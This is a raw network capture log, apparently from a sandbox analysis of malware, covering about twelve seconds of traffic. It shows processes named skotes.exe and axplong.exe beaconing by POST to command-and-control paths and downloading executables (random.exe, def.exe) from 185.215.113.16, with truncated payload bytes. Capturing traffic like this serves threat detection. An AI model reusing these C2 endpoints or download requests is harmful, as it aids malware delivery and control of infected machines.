Nov 1, 2024 12:35:07.918756962 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	50057	185.215.113.16	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:07.920815945 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 12:35:08.828533888 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:08 GMT Content-Type: application/octet-stream Content-Length: 2797568 Last-Modified: Fri, 01 Nov 2024 11:30:58 GMT Connection: keep-alive ETag: "6724bbf2-2ab000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 4b 2e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+K.+`Ui` @ @.rsrc`2@.idata 8@ziejvuqc`P:@vpkhfhix +@.taggant@ +"@
Nov 1, 2024 12:35:08.828577995 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:08.828716993 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:08.828727961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:08.828738928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:08.828749895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:08.828926086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:08.828937054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:08.828948021 CET	1236	IN	Data Raw: 3f 6a be 9b 11 a6 ca 8e 16 59 b4 b7 c9 52 89 02 71 5b 2a 27 73 67 c2 c1 d7 44 d1 a2 1e f6 ac cd 9f 2a e4 90 30 5a e5 77 55 7b c7 5b 76 84 cd 05 7d 46 93 a1 2d d1 54 89 41 c5 65 f5 1d 42 ed 93 38 38 cf 2f 45 7d f0 8d 22 3d f4 e2 c2 e4 b0 59 d5 5f Data Ascii: ?jYRq['sgD0ZwU{[v}F-TAeB88/E}"=Y_&/7F USAG]IXu;#E4"U=sqCC_x"+aiBIXCT4DT[:N`smtInnhuQ~/]!o1^VNe
Nov 1, 2024 12:35:08.828959942 CET	1236	IN	Data Raw: 2e a0 b8 cd 16 24 05 36 02 d2 b8 c5 66 6f 87 7f fd b7 8b 59 08 23 8c aa 9f 72 e3 a1 1d c5 93 9c e1 bb 9b 6c 4e 63 a3 8f fa c2 d1 9f 3c 5f 4a 1f 47 3b 6e 2b 9f 6f b8 86 38 dd 43 73 73 f4 b8 76 16 e8 f3 6e 76 6c dd 5e c0 4f 53 84 d5 3a fe 4f 28 8c Data Ascii: .$6foY#rlNc<_JG;n+o8Cssvnvl^OS:O(RwCT5-&ouASI~1c!`r6g>CuOY"QG0&WcaE_d$CV_^}.C7S;jp>" b=<
Nov 1, 2024 12:35:08.835108042 CET	1236	IN	Data Raw: 3c 12 24 97 aa f2 f4 b4 3e a0 52 4f c7 4a d7 37 91 c4 36 30 3c 75 a3 5f 7e 6d bc 86 86 03 49 40 26 4d 67 6a ae 70 fd e4 a8 18 ef e1 d4 4d 81 93 3e 4d f6 a2 54 1a 04 36 7d 4f da 69 e6 05 4c 36 91 d3 f0 73 93 89 c9 82 f4 0e 65 a5 b4 3a 39 19 85 82 Data Ascii: <$>ROJ760<u_~mI@&MgjpM>MT6}OiL6se:9\|T {sEO$g350r@L4ki(Y0~R'@~~fJ%\|qjc:g'/s-\|`sA3$%Ndj+HSg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	50058	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:07.936613083 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:08.877023935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	50060	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:09.001379967 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	50061	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:09.045104980 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:09.949806929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	50062	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:10.471638918 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:35:11.371572971 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:35:11.377944946 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:11.659615040 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	50064	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:11.819731951 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:35:12.733655930 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	50065	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:12.746439934 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:13.667048931 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	50066	185.215.113.16	80	5576	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:12.847553968 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 12:35:13.782814026 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:13 GMT Content-Type: application/octet-stream Content-Length: 2797568 Last-Modified: Fri, 01 Nov 2024 11:31:00 GMT Connection: keep-alive ETag: "6724bbf4-2ab000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 4b 2e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+K.+`Ui` @ @.rsrc`2@.idata 8@ziejvuqc`P:@vpkhfhix +@.taggant@ +"@
Nov 1, 2024 12:35:13.782833099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:13.782846928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:13.782860041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:13.782876968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:13.782883883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:13.782898903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:35:13.783369064 CET	1236	IN	Data Raw: c4 3b b8 5e 9c 9e b9 95 23 8f b7 1d 14 b9 14 70 c7 e2 1e 80 86 84 0b c0 58 49 ed 9c ed e4 7d 8a 7b d7 63 fb f2 c6 3e 3f cb 0e f5 65 02 80 a9 9f 36 48 d9 6f 7a 55 ac a3 25 86 b6 a1 35 50 70 89 42 3d c9 5f 9c 52 c5 47 88 59 d8 a5 17 5f b6 0e 6b 36 Data Ascii: ;^#pXI}{c>?e6HozU%5PpB=_RGY_k6ze 2TE]W:0;?jYRq['sgD0ZwU{[v}F-TAeB88/E}"=Y_&/7F USAG]IXu;#E4"U=sq
Nov 1, 2024 12:35:13.783381939 CET	1236	IN	Data Raw: b8 3a cf 45 e0 3a d3 79 c7 2f 58 65 1d 77 cd ec 66 6f c9 61 94 84 eb 7c 56 d2 f3 55 40 97 c3 5e 66 6f 03 80 c4 b7 07 59 cf 44 45 dd 40 3a 0f 60 66 9b cf 2d 94 93 1f 6c 92 de 29 22 68 77 2b 84 96 76 63 01 1e bb bc d7 40 d7 db 5e a6 66 43 0d af ff Data Ascii: :E:y/Xewfoa\|VU@^foYDE@:`f-l)"hw+vc@^fCK9tS_3:[N~-61.$6foY#rlNc<_JG;n+o8Cssvnvl^OS:O(RwCT5-&ouASI~1c
Nov 1, 2024 12:35:13.783397913 CET	1236	IN	Data Raw: 80 5d c8 54 9a 7f cf 88 73 b2 7f 5f 2b 33 bf ea 31 44 d1 2d 70 4a f3 b4 1c a1 fe 3c 91 1f 25 bc 8a 72 fd 2e 32 be f1 9a b5 a0 a4 88 46 65 04 c5 76 57 23 50 20 b4 40 39 36 47 2d 39 85 a4 1f 01 af 4a 1b 6d 34 a0 13 57 2f 0d 64 5e a8 ea e8 09 e4 31 Data Ascii: ]Ts_+31D-pJ<%r.2FevW#P @96G-9Jm4W/d^1j[x"I}ODpg+Atx<$>ROJ760<u_~mI@&MgjpM>MT6}OiL6se:9\|T {sEO$g350r@L4ki
Nov 1, 2024 12:35:13.790728092 CET	1120	IN	Data Raw: 28 92 98 b1 4e 63 ae 81 52 df b4 9a 09 43 f1 7e 22 4a bd 1e 23 63 0f 8e 15 6d 9b 35 1f 52 9a 6e 22 53 15 54 65 66 61 c8 93 1e ab 24 81 14 cd ec 67 f9 27 5b 7f b5 d7 9d 66 45 c1 4a 88 a6 1b 54 18 98 19 59 92 a4 10 ad e6 5a ba ce d6 b0 1e 19 87 1f Data Ascii: (NcRC~"J#cm5Rn"STefa$g'[fEJTYZ<Bf*}#ug3oJYwkW.pGndmW(jlpn[qI=l<wo0~0kos@0D4I:\~sPNJ!~3]U[NBX8&<
Nov 1, 2024 12:35:19.644778013 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 12:35:19.929743052 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:19 GMT Content-Type: application/octet-stream Content-Length: 1884672 Last-Modified: Fri, 01 Nov 2024 10:54:05 GMT Connection: keep-alive ETag: "6724b34d-1cc200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J]@WkDPdJdJ @.rsrcD@.idata @ *@npluczcb0@cveucipfpJ@.taggant0J"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	50067	185.215.113.43	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:13.016870975 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 37 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001735001&unit=246122658369
Nov 1, 2024 12:35:13.940279007 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	50068	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:13.786201954 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:35:14.695882082 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:35:14.702023029 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
